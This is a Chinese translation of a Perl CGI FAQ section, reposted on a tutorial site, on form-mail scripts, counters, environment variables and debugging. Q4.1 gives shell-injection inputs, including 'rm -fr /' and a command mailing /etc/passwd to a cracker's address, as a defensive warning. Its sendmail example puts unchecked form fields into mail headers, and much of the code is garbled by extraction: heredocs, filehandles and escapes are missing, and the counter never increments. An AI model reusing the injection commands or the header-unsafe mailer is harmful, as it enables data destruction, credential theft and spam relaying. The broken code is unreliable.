赞助广告 赞助广告
  当前位置:网络学院程序设计C/C++/VC → cgi程式设计疑难杂症
cgi程式设计疑难杂症
日期:2001年7月17日 作者:不详 人气: 查看:[大字体 中字体 小字体]
Q4.1: 我想让 user 填的 form 资料自动寄给我,该怎麽做?有没有范例?

其实做这个很容易。您的 CGI script 必须能做到这两件事:

将 form 中的资料整理出来。别忘了,所有的 form 资料都会被 URL-编码起来 (先不考虑 Netscape 2.0 【及 2.0 以上所支援】的 multipart MIME资料)。

开一个管路 (pipe) 到 mail (或 sendmail ),然後把 form 资料写过去。

我们就假设您用的是 CGI::* 模组。您可用以下的方法去叫 sendmail:

$cgi_form = new CGI::Form;
$from = $cgi_form->param('from');
$name = $cgi_form->param('name');
$to = $cgi_form->param('to');
$subject = $cgi_form->param('subject');
$message = $cgi_form->param('message');
open SENDMAIL, "| /usr/bin/sendmail -t -n";
print SENDMAIL <
From: $from <$name>
To: $to
Reply-To: $from
Subject: $subject
$message
End_of_Mail

有一个该注意的地方是 ``Reply-To:'' 的信头。由於 server 是以 ``nobody''这 个使用者的身份来跑,信头的地方可能会被搞坏(尤其是当有人想回这封信的时後)。 加上 ``Reply-To'' 的信头这个问题便解决了。

网路上有许多的 mail 渠道 (gateway)* 是以底下这种方法来送 mail:

【译者】gateway 在此指送 email 的 CGI 程式

open MAIL, "| mail -s 'Subject' $to";
^
|
+-- 可能会出问题的漏洞!!!

如果您没有先检查看 $to 这个变数有没有内含 shell 的特殊符号 (metacharacters),您是在自讨苦吃!譬如,如果哪个恶劣的 user 输入了以下的资 料:
; rm -fr / ;

那麽您的麻烦可大了*。

【译者】这里头的 ``;'' 便是一个危险的 shell metacharacter。另一个危险的符号是 ``&''。

在这个假想的情况中,有多少个档案会被远方的 user 给杀掉,还得视 server 跑的使用者的权限而定(这就是为什麽 server 要以低权限使用者身份跑的原因)。 至少那些由 CGI 程式制造出来,但又没有备份的档案,是真的要跟它们永别了。

; mail joe@crackerland.org

那您的 CGI script 就替您把 /etc/passwd 给拱手送上了。这对一个「未加工」的 Linux、SunOS 4.1,还有其他任何没安装 shadow-password 的 UNIX 系统来说, 实在不太好玩。如果 server 错误地跑了 root,那麽就算装了 shadow-password 也没有用,因为远方的 cracker 甚至可以让这个 CGI 的 email script 给他送 /etc/shadow (视系统而定,不一定在 /etc 底下或叫这个名字)。

--------------------------------------------------------------------------------

Q4.2: 刚才这个用 form 送信的 script 看起来有点难。为什麽不乾脆用 ``mailto: URL'',这样 user 填入的资料就可以寄给我了?

很不幸地,mailto: 的指令并不是所有的浏览器都支援。如果您在档案中用了它的话, 会限制了那些使用没有支援 mailto: 的浏览器的人,让他们无法送 mail 给您*。

【译者】尽管如此,您或许不会在乎那占极少数比例的使用者(Netscape 、 IE, 和 lynx 等浏览器都支援 mailto: )。

--------------------------------------------------------------------------------

Q4.3: 我要如何在 UNIX 以外的平台上做 Perl-CGI,譬如 Mac、MS-DOS、 Windows 及 NT?我的 Perl CGI 程式能不能在这些平台之间互相移植呢?能不能 很直接,没有麻烦?我在 UNIX 主机上有帐号,但是都是先在 Windows/Mac 上做。 我要如何在我自己的机器上测试写好的 CGI scripts*?

Perl 已经被移植到上述所有的平台上了。因此,您的 Perl CGI 程式照理应不难 移植。但如果您使用到一些 UNIX 上的程式,那麽您的程式可能会不好移植。如果 您只是做资料处理,或开启、读进档案等的话,那麽移植应该不会有问题。

【译者】原 FAQ 并未回答最後这个问题。要在 Windows/OS2/Mac 等非 UNIX 平台 上测式您的 scripts ,您可以使用 CGI.pm (支援以上所有平台),配合 Q4.19 中提示的除错技巧 ,或在自己的机器上安装 HTTP server 软体。如此就不用辛苦的连上主机去测式了。

--------------------------------------------------------------------------------
Q4.4: 在 Perl CGI 程式中,STDERR (标准错误讯息)、STDIN (标准输入),和 STDOUT (标准输出) 各是连到何处?

在 CGI 环境下,STDERR 会指向 server 的 错误讯息档 (error log)。您可以善 加利用这个特性,把除错的讯息写到 STDERR,然後您便可藉查看错误讯息档来帮 您除错。

STDIN 和 STDOUT 则都和浏览器相连。实际上,STDIN 连的是 server。 server 会先解读 client (或浏览器)送出的请求和资料,再将其送给 script。

您也可以用将 STDERR 「复制」到 STDOUT 的方法来抓错误讯息。这应该在 script 靠前头的地方做(但应在您输出合适的 HTTP 标头之後):

open STDERR, ">&STDOUT";

这会将所有的错误讯息都转送到 STDOUT (即浏览器) 去。

--------------------------------------------------------------------------------
Q4.5: 如何写计数器?

计数器一类的程式相当流行。其实计数器的原理很简单,不过是:

用一个档案去储存资料。

每当有人光临网站,增大档案中所计的数字。

以下是一个简单的计数器的实例:

#!/usr/local/bin/perl -w

$counter = "/home/shishir/counter.dat";

print "Content-type: text/plain", "nn";

open(FILE, $counter) || die "Cannot read from the counter file.n";

flock FILE, 2;

$visitors = ;

flock FILE, 8;

close FILE;


open(FILE, ">$counter") || die "Cannot write to counter file.n";

flock FILE, 2;

print FILE $visitors;

flock FILE, 8;

close FILE;

现在您可以在 HTML 档案中用 SSI (Server Side Include; 伺服端插入)* 的方式来显示该计数器:

【译者】SSI 是 server 所提供的一项功能,可将动态资料,例如日期和时间,或 计数器显示等,在客户请求一网页时即时加入该文件中。支援 SSI 的 servers 包 括了 NCSA、Apache,和Netscape Enterprise Server 等。 SSI 固然是一项便利的设计,但如过份滥用 ,不但会减低 server 性能,更可能招来安全上的危机。

您是第   位光临本站的客人。

--------------------------------------------------------------------------------
Q4.6: 要如何用一个 Perl 的取代指令将所有 HTML 标签从一份文件中删除?

以下这个简单的 regular expression 可用来去除 HTML 标签*:

【译者】

要让这个 regular expression 跨行执行,您必须先将您的 script 由预设的 按行执行模式 (line mode) 改为按段执行模式 (paragraph mode)。您可以在指令 列以:

perl -00 -we '...'

的方式;或是在 script 中以:

#!/usr/bin/perl -00



$/ = "";

的方式来设定按段执行模式。

除非您需要对欲删除的 HTML 标签中的内容做进一步的处理或利用,否则本例 中最外围的一对括弧可去掉。

$line =~ s/<(([^ >]|n)*)>//g;

详细的相关资料,请看 Tom [Christiansen] 的 striphtml 程式, 这个程式同时也收录在他的tour of perl5 regexps 讲义中。

--------------------------------------------------------------------------------

Q4.7: 要如何知道是谁/哪台机器/哪个浏览器执行了我的程式?

您可以从 HTTP_USER_AGENT 这个环境变数得知使用者所用的浏览器。

【摘自 WWW FAQ】

您的 CGI script 可以利用五个重要的环境变数来帮忙辨识使用者的身份。

HTTP_FROM

这个环境变数理论上应设为使用者的email地址。但是许多浏览器完全不加以设定 【即不支援】,而大部份支援这个变数的浏览器又让使用者自由设定这个值。因此, 建议读者顶多拿它来做为 email form 中回信地址的预设值。

REMOTE_USER

这个变数唯有当 script 在安全认证的保护下执行时才会被设定。从 AUTH_TYPE 这个变数可以知道所用的认证方法是属於哪一个类型。REMOTE_USER 则会含有正接 受认证的使用者的名字。要注意的是,REMOTE_USER 只有在使用安全认证的时候才 会被设定,而且不是所有的 servers 都支援。在 NCSA server 底下,如果认证所 使用的传输方式没有列入 access.conf 档中(也就是说,应使用 ,而不是仅仅用预设的 ),认证可能会出人意外地失 败。

REMOTE_IDENT

如果 server 能连接上客户端的 IDENT server,它会将这个变数设成远方使用者 的身份。但由於向IDENT server 查询的动作太花时间,大部份的 servers 都把这 项功能关掉。更何况,客户端的机器是否会回应查询,又是否会诚实以对,都是无 法确定的。

REMOTE_HOST

这个变数的设定值并不包括远端使用者的真实身份,但是会提供使用者正用来连线 的机器名称,只要 server 能找得出来。由於我们无法确切得知使用者的真实身份 【请看前一个环境变数的说明】,有的时候使用可确认的位址来替代,不失为一个可 行的变通方法。在 server 查不到远端的机器名称,或者是为增加 server 的处理 速度而将这个查询功能关掉的情况下,这个变数是空的;请看底下 REMOTE_ADDRESS 一项的说明。还有,别忘了您可能会发现所有使用同一个 proxy (代理人) server 的使用者的机器名都变成了那台 proxy server 的名字。

REMOTE_ADDR

这个变数的设定值并不包括远端使用者的真实身份,但是会提供使用者正用来连线 的机器的资料。REMOTE_ADDR 会包含客户端的 IP 位址,以用点隔开的十进位数字 的形式来表示。由於我们无法确切得知使用者的真实身份 [请看前一个环境变数的 说明],有的时候使用可确认的位址来替代,不失为一个可行的变通方法。和前一 项 REMOTE_HOST 不同的是,这个变数一定会被设定。还有,别忘了您可能会发现 所有使用同一个 proxy (代理人) server 的使用者的机器位址都变成了那台 proxy server 的位址。

【摘录自 WWW FAQ 部份完】

--------------------------------------------------------------------------------

Q4.8: 人家看得到我的 Perl CGI 程式吗?如果是这样的话,那不就让他们知道我的程式是怎麽运作的了。这是个安全漏洞吗?我要怎麽把它隐藏起来?

如果您将您的 server 设成对所有在一个特定目录(如 cgi-bin)下的档案,或者 是具有某些副档名(如 ``.pl''、``.tcl''、``.sh'')的档案一律都以 CGI 程式看 待,那麽 server 只会执行这些程式。至於使用者是无法看到 script 本身的内容 的。

但是如果您允许人们看您的 script (譬如把它放到 HTML 文件的根目录 下),那麽只要是这个程式没有安全上的漏洞,这并不能算是安全问题。如 果这个程式真的有安全上的破绽而您又允许使用者看这个程式,那麽他们便有机可 乘,进而利用这个弱点。

【译者】上面这段原文作者是就远方的客户端的使用者而言。和这个主题相关的一 个常问问题是:

Q: 我的 Perl CGI scripts 必须将权限设为全世界可读。可是这样一来,和我同 机器有帐户的人,只要知道我的程式名称,就可以浏览我的 Perl 程式的内容;尤 其当其中牵涉到密码的问题时。

A: 至少有两个解决方法,一个简单,一个复杂:

简单的方法是,请您的系统管理者(如果不是您自己的话),将您的 CGI scripts 及密码档(如果您选择将密码存放在另一个档案中的话)的所有者设成 Web server 跑的使用者(最常见的是使用者 nobody ;使用群 nogroup 或 nobody), 然後将 CGI scripts 的使用权限设定成 550 (-r-xr-x---),密码档的权限设成 440 (-r--r-----)。如此一来,一方面您的程式得以执行,而且其他同机器上的 使用者也没有办法偷看到您的程式和密码。

比较复杂的解决方法是先挑个难破的密码将整个程式加密起来,然後再使用 Filter::decrypt 这个模组在临执行前将其解开,在此不多说。有兴趣的读者请看 Filter::decrypt 的使用说明;此外新的 perl FAQ 第叁部分中这一段:``How can I hide the source for my Perl program?'' ,大家也可参考。

--------------------------------------------------------------------------------
Q4.9: 我需要将整个 Perl library 都复制到我的 htdocs 目录底下吗?

不需要。您的 CGI scripts 可以使用 server 和 文件根目录之外的任何档案,除 非 server 是在一个 chroot 的环境下执行。

--------------------------------------------------------------------------------

Q4.10: 我为什麽不该叫使用者输入他们的密码或身份证字号或信用卡号码?有一个 TYPE="password" 不是就是拿来做这个的吗?

No! form 的介面中有一个 ``password'' 的栏位,但是您不应该拿它来处 理任何机密性的资料。不该这麽做的原因是因为所有的 form 资料(包括 ``password'' 栏) 都是以纯文字形式,而非以加密形式由浏览器送至 server。

如果您想要安全地传送资料,那麽您需要使用具有安全功能的 server,例如 Netscape 的 Commerce Server*。

【译者】Apache SSL ,例如 Stronghold 版,同样具有这个功能。

--------------------------------------------------------------------------------

Q4.11: 我要如何产生专门替 Netscape 设计的网页,以别於世上其他的浏览器?

您可以透过 HTTP_USER_AGENT 这个环境变数在您的 CGI script 中得知是否 Netscape 正在执行您的 script。以下为一例:

$browser = $ENV{'HTTP_USER_AGENT'};

if ($browser =~ /Mozilla/) {

#

# Netscape

#

} else {

#

# Non Netscape

#

}


--------------------------------------------------------------------------------

Q4.12: 为什麽我的 system() 所产生的资料输出顺序不对?

这是由於标准输出的产生方式通常是先累积相当的资料再输出(buffered)。要 让输出的资料以正确的顺序显示,您必须藉由 $| 这个变数的设定将 buffering 的 特性关掉。

--------------------------------------------------------------------------------

Q4.13: 我听说 Netscape 会支援 Java*。这是不是说我现在得弃 Perl,改 Java 了?是不是该这麽做?

【译者】原 FAQ 已有相当一段时间未更新。这句话现在应该改作「Netscape 和 IE 两大浏览器都已支援 Java」。


不、不、不。Java 和 CGI 的概念完全不同。CGI 是在 server 端执行,而 Java则是在 client 端执行。有些东西(如动画)可藉由使用 Java 而得到较好的效 果。但您可继续使用 perl 来发展 server 端的应用程式。

如果您需要有关 Java 进一步的资料,底下列了几个文件您可以去看看*:

升阳公司的 Java 文件

Tom C.所写的 Java uber Alles(Java 的种种)

Java, the Illusion(Java 幻像)

【译者】後面这两篇文章对 Java 及这个热潮作了很严厉的批判。本 FAQ 作者 Tom C. 的 Java uber Alles 中的论点主要着重於技术层面。Tom 对 Java 的态度或许代表了不少 Perl 阵营人仕的心声。

--------------------------------------------------------------------------------

Q4.14: 我要如何读取环境变数?为什麽它们有时候会不一样?

您可以透过 %ENV 这个关连阵列来读取环境变数。以下这个简单的 script 会把所 有的环境变数印出来(排好顺序):

#!/usr/local/bin/perl -w

print "Content-type: text/plain", "nn";

foreach $key (sort keys %ENV) {

print $key, " = ", $ENV{$key}, "n";

}

exit 0;

很不幸的,有些环境变数会被某些浏览器忽略掉。譬如,有些浏览器就不设定 HTTP_REFERER。
--------------------------------------------------------------------------------

Q4.15: 为什麽我输出的资料被搅乱了(如 ``b

如果您送的 MIME 类型是 HTML 的话,您必须 「跳脱」 (escape) 某些符号,如 ``<''、``&anp;'',及 ``>'',否则浏览器会以为它是 HTML 【标签】。

您必须使用以下格式来跳脱特殊字元:

&#ASCII 代码;

您可以在指令列执行这个简单的 script,便可得到非字母数字性字元 (non alpha-numeric characters) 所对应的 ASCII 码:

#!/usr/local/bin/perl -w

print '请输入字串: ';

chop($string = );

$string =~ s/([^ws])/sprintf("&#%d;", ord($1))/ge;

print '跳脱过的字串是: ', "$stringn";

exit 0;

--------------------------------------------------------------------------------

Q4.16: 为什麽我的Perl CGI 程式可以由指令列,却无法从浏览器去执行?

最可能的原因是权限的问题。别忘了,您的 server 可能是以 ``nobody''、 ``www'',或其他权限很低的帐户身份来执行的。因此,除非它有足够的权限,否 则是无法执行您的 script 的。

--------------------------------------------------------------------------------

Q4.17: 为什麽我的 Perl CGI 程式能跑,但是不会把资料写到档案中?

这又是权限在作怪!server 除非有足够的权限否则是无法将资料写进某目录下的 某档案里去的。

您应该养成习惯检查 open 指令递回的错误状态 (error status):

print "Content-type: text/plainnn";
.
.
.
open(FILE, ">/some/dir/some.file") ||

print '无法写进档案: ', "$!n";

.
.
.

--------------------------------------------------------------------------------

Q4.18: 要如何做一个会维系状态,或允许【同一使用者】多次连线的 form?

您可以用 CGI::MiniSvr 这个 module 来维持【记住】几次不同的连线之间的状态资 料。

或者,您可以制做一系列的动态文件,在彼此之间相互传递一个期间代码(session ID),此代码可以以询问 (query)、额外路径,或隐藏式栏位等形式存在*。

【译者】CGI.pm 会替您把这部份(维持状态)做好 (用上述的原理),故使用 CGI.pm 可自动享受这项功能,不需要自己去做。这又多了一个该使用 CGI.pm 的理由。

--------------------------------------------------------------------------------

Q4.19: 如果不从浏览器去执行我的 CGI 程式,要如何替它除错?

CGI 程式不容易除错。您可以藉着手动设定环境变数来模拟 server:

setenv HTTP_USER_AGENT "Mozilla/2.0b6" (csh)



export HTTP_USER_AGENT = "Mozilla/2.0b6" (ksh, bash)

要模拟 POST 请求,您可以把资料先放进一个档案里,然後把它 pipe 到您的程式 去:

cat data.file | some_program.pl

或者您可以用 CGI.pm 来帮您除错。假设您有一个像下面这样的 script, 它会把所有您传给它的索引/设定值对应资料 (key/value pairs) 都列印出来。


#!/usr/local/bin/perl -w

use CGI;

$cgi = new CGI;

print $cgi->header;

print $cgi->start_html("Simple CGI.pm Program");

print "

Simple CGI.pm Program
n";

print "

--------------------------------------------------------------------------------
";

print '以下所列的是您传送的设定值:';

print $cgi->dump;

exit 0;

这个 script 不会在乎您是透过 GET、POST,或 ISINDEX 请求,或者是由指令列、 标准输入,或文字档将资料传送给它。为了方便除错,我们就直接从指令列传一些 资料给它吧:

% simple.cgi first=shishir last=gundavaram document='CGI FAQ'



% simple.cgi "first=shishir&last=gundavaram&document='CGI FAQ'"

在第二个例子中,整个字串周围必须加引号("),否则 shell 看到 ``&'' 这个符 号会误解。好,接下来是从标准输入来除错的方法:

% simple.cgi

(waiting for standard input)

first=shishir

last=gundavaram

document=CGI FAQ

^D

当然,您也可以先用一个档案来储存资料,然後再做输入转向,像这样:


% simple.cgi

您也可以用 CGI Lint (即将出版)。它能达到相同的功效。另外,它也能帮忙检查 有无安全问题,不当使用 open(),以及不正确的 HTTP 标头等。

--------------------------------------------------------------------------------

Q4.20: 如果不靠
标签,要如何叫出 Perl CGI 程式?

您可以直接去打开该 CGI 程式的 URL:

http://some.machine/cgi-bin/your_program.pl

您也可以在文件中使用连结的方式,例如:

要试试我的CGI程式请在这里点一下

--------------------------------------------------------------------------------

Q4.21: 要如何避免旁人不先填栏位就执行我的 form?他们为什麽一直不断这麽做?

这些人栏位完全空白就去执行 form 是因为他们把这个 form 的 URL 储存起来 【储存到书签里面】的关系。当他们下次叫出这个 form 的时候,这个请求就会变成 是一个空的 GET (而非 POST 或填有资料的 GET)。

您可以先检查所有栏位中的资料,如果其中有栏位留白的话,您可以送回一个``No Content'' 的状态属性*。以下是一例(假设关连阵列 %form 中含有您 form 的资 料):

【译者】状态码 204 的属性已由 HTTP

0.9 的 ``No Response'' 变为

HTTP 1.0 和

HTTP 1.1 中的

``No Content'' 了。

$error = 0;

foreach $value (values %form) {

$value =~ s/s//g;

$error = 1 unless $value;

}


if ($error) {

print "Content-type: text/plainn";

print "Status: 204 No Contentnn";

print '除非您的浏览器不支援状态码 204 ,否则您不该看到这部份' , "n";

} else {

#

# Process Data Here

#

}

--------------------------------------------------------------------------------

Q4.22: 那些server 回应码 (server response codes)是干什麽用的?有什麽意义?

CGI 程式可以传送 server 然後 server 会把它转送给浏览器。例如: 假设您想送 ``No Content'' (意思是告诉浏览器不要再重新下载该网页),那麽您得送一个 204 的回应码(见上例)。

--------------------------------------------------------------------------------

Q4.23: 为什麽 print "Location: http://host/page.htmln" 不 work?又为什麽它只 work 一次,但随後的转向就都弄错了呢?

CGI 程式只能送一个 Location 标头。还有,如果您要 server 做转向的 动作您就不该送 MIME 类别。譬如,以下的例子是错误的示范,尽管在有些 servers 上行的通:

#!/usr/local/bin/perl -w
.
.
.
print "Content-type: text/plainn"

print "Location: http://some.machine/some.docnn"";


--------------------------------------------------------------------------------


Q4.24: 要如何让 server 在每个 HTML 网页的底部都自动加上一个:「最近更新日期: ...」的告示?或者,是不是只有 SSI 的网页才能这麽做?CGI 程式的日期要如何取 得?

如果您是透过 CGI 以动态方式来产生您的文件,那麽要插入一个时间标记非常简 单。以下是一例(仅适用於 Perl 5):

$last_updated = localtime;

print '最近更新日期: ', "$last_updatedn";

或者是:

require "ctime.pl";

$last_updated = &ctime(time);

print '最近更新日期: ', "$last_updatedn";

甚至像这样:

chop($date = `/usr/local/bin/date`);

print '最近更新日期: ', "$last_updatedn";

您可以用 SSI 来达到这个效果,像这样:

<--#echo var="LAST_MODIFIED"-->


--------------------------------------------------------------------------------

Q4.25: 什麽样的场合下以 Perl 写 CGI 程式会显得太小题大作,因为用 shell 就可以做到?而什麽样的场合对 Perl 来说又过於困难?用 C++ 做这类的事不是好得多吗?那用 C 呢?

每一个语言都有其长处和短处。相信这句话您听过很多次了。所以一切全看您要做 的是什麽而定。如果您预期正准备写的 CGI 程式每个钟头会有几千几万人次连去 使用,那麽您应该选用 C 或 C++来写。如果您求快的话(指发展所花费的时间而言), 那麽 Perl 是正确的选择!

一般说来,您应避免用 shell 来做任何形式的 CGI 程式设计,因为 shell 在先 天上容易产生安全问题。 

(出处:不详 )

相关文章:
 
·ASP实现文件在线压缩和解压缩
·网际快车FlashGet使用技巧荟萃
·一个天气预报的小偷
·Are you ready?
·ASP简介
·ASP基础
·ASP脚本基础
·ASP脚本变量、函数、过程和条件语句
·乔客论坛惊暴UPfile严重漏洞!
·ASP脚本循环语句
相关软件:
 
·动感下载系统 2.0(access版)k170美化版带天空华军小偷
·风韵设计综合娱乐网 v4.0 功能增强完美版
·Boai BLBS V1000
·Boai BLBS V3.3
·中国龙BlogVer 1.1.0MX版
·中国大学生设计网 全站程序第三版
·518主机域名在线管理平台 v1.5
·Zend StudioClient V3.5.1 特别版
·Zend Studio Client for Linux V3.5.1 特别版
·PHP v4.3.9 RC1
  特别推荐
  热点TOP10